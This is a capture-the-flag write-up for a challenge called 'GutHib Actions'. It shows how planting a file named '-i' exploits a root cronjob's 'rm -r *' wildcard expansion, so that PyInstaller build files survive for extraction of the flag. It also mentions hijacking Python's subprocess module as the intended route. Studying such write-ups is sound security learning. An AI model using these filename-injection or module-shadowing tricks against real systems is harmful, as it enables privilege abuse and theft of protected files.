GutHib Actions

This was a very simple Misc challenge with an obvious intended solution, but I solved it using a (relatively more complex) unintended solution. I thought I'd share it here for people to enjoy :)

Challenge Premise

The challenge revolves around the root user running a build.sh script every minute.

The script runs a build.py file, which calls on pyinstaller to build an executable from the /root/flag.py file, and store it in the /root directory.

Finally, the /tmp directory is cleared with rm -r *, which deletes all build files generated by pyinstaller.

FROM ubuntu:22.04

RUN apt-get update &&  \
    apt-get install -y python3 python3-pip openssh-server cron && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

RUN pip install pyinstaller && \
    pip cache purge

RUN useradd -m -c 'Restricted guest account' guest && \
    echo 'guest:guest' | chpasswd

RUN echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config

RUN (crontab -l ; echo "* * * * * /root/build.sh") | crontab


COPY ./flag.py /root/flag.py
COPY ./build.sh /root/build.sh
COPY ./build.py /root/build.py
COPY ./start.sh /root/start.sh

RUN chown -R guest /home/guest && \
    chmod -R 700 /root && \
    chmod -R 777 /home/guest
EXPOSE 1337
ENTRYPOINT /root/start.sh

Unintended Solution

It might not be immediately obvious, but there is actually a vulnerability in the build.sh file. The rm -r * uses wildcard expansion, which is wildly dangerous.

In Unix, wildcards are expanded by the shell and any matching filenames are passed as arguments to the program being run. This means that if there is a file by the name -rf, the rm * command would automatically be expanded to rm -rf - dangerous indeed!

In this case, we do not want everything from the /tmp directory to be removed after the script is run, because the PyInstaller build files contain valuable information. We can place a file with the name -i in the /tmp directory to achieve this. According to the man page:

-i     prompt before every removal

Therefore, by doing this:

$ echo "asdf" > "-i"
$ ls -la
total 12
-rw-rw-r-- 1 guest guest    5 Dec  5 18:00 -i
drwxrwxrwt 1 root  root  4096 Dec  5 18:00 .
drwxr-xr-x 1 root  root  4096 Dec  5 17:55 ..

we are effectively "hanging" the cronjob script at the rm -r * command, since the script has no way of answering the prompt that appears:

rm: descend into directory 'build'?

After the script runs, we have access to PyInstaller's build directory, where PyInstaller creates the files necessary for building the final executable generated in the distpath.

$ ls -la
total 24
-rw-rw-r-- 1 guest guest    5 Dec  5 18:04 -i
drwxrwxrwt 1 root  root  4096 Dec  5 18:07 .
drwxr-xr-x 1 root  root  4096 Dec  5 18:02 ..
drwxr-xr-x 3 root  root  4096 Dec  5 18:06 build
-rwx------ 1 root  root   101 Dec  5 18:07 build.py
-rw-r--r-- 1 root  root   814 Dec  5 18:06 flag.spec

Now that we have access to the build directory, let's take a look at what's inside.

$ ls -la build/flag
total 8468
drwxr-xr-x 3 root root    4096 Dec  5 18:06 .
drwxr-xr-x 3 root root    4096 Dec  5 18:06 ..
-rw-r--r-- 1 root root   10832 Dec  5 18:06 Analysis-00.toc
-rw-r--r-- 1 root root    4147 Dec  5 18:06 EXE-00.toc
-rw-r--r-- 1 root root    4052 Dec  5 18:06 PKG-00.toc
-rw-r--r-- 1 root root  859850 Dec  5 18:06 PYZ-00.pyz
-rw-r--r-- 1 root root    6937 Dec  5 18:06 PYZ-00.toc
-rw-r--r-- 1 root root 1066256 Dec  5 18:06 base_library.zip
-rw-r--r-- 1 root root 6457686 Dec  5 18:06 flag.pkg
drwxr-xr-x 2 root root    4096 Dec  5 18:06 localpycs
-rw-r--r-- 1 root root    1759 Dec  5 18:06 warn-flag.txt
-rw-r--r-- 1 root root  231842 Dec  5 18:06 xref-flag.html

As explained in the documentation, the flag.pkg is a ZlibArchive containing compressed .pyc files containing the bundled Python modules.

We can inspect its contents using pyi-archive_viewer, which is installed together with PyInstaller.

$ pyi-archive_viewer build/flag/flag.pkg
 pos, length, uncompressed, iscompressed, type, name
[(0, 205, 271, 1, 'm', 'struct'),
 (205, 4225, 9058, 1, 'm', 'pyimod01_archive'),
 (4430, 7416, 17526, 1, 'm', 'pyimod02_importers'),
 (11846, 1772, 3639, 1, 'm', 'pyimod03_ctypes'),
 (13618, 594, 849, 1, 's', 'pyiboot01_bootstrap'),
 (14212, 450, 678, 1, 's', 'pyi_rth_inspect'),
 (14662, 105, 126, 1, 's', 'flag'),
 ...

We can then extract the flag file using the X command.

? X
extract name? flag
to filename? flag
?

Although we could quite easily see the flag in the hexdump of the extracted file at this point, I was still slightly confused by the file format, as the magic bytes were not recognised by Python bytecode disassemblers.

The extracted file was in fact the original Python bytecode, and not a .pyc file as was suggested by the PyInstaller documentation. The key difference is that a .pyc file contains:

  • A four-byte magic number,

  • A four-byte modification timestamp, and

  • A marshalled code object.

And the extracted file contains only the marshalled code object (also see this issue). At this point we can just use Python's marshall module to run the code.

>>> import marshal
>>> exec(marshal.load(open('flag', 'rb')))
STF22{5up3r_5U5_5y5t3m_m0du13!_a0d66b3e608fe2b38ddf77d679fbde6b74e231f54c469a081f04dc65004360f8}

Intended Solution

The intended solution was just to override the subprocess module by writing to a subprocess.py file. I actually thought of this halfway through, but I was already too far in with the unintended solution not to see it through.

Anyway, this was a fun challenge! At least I learnt a thing or two about PyInstaller.

Last updated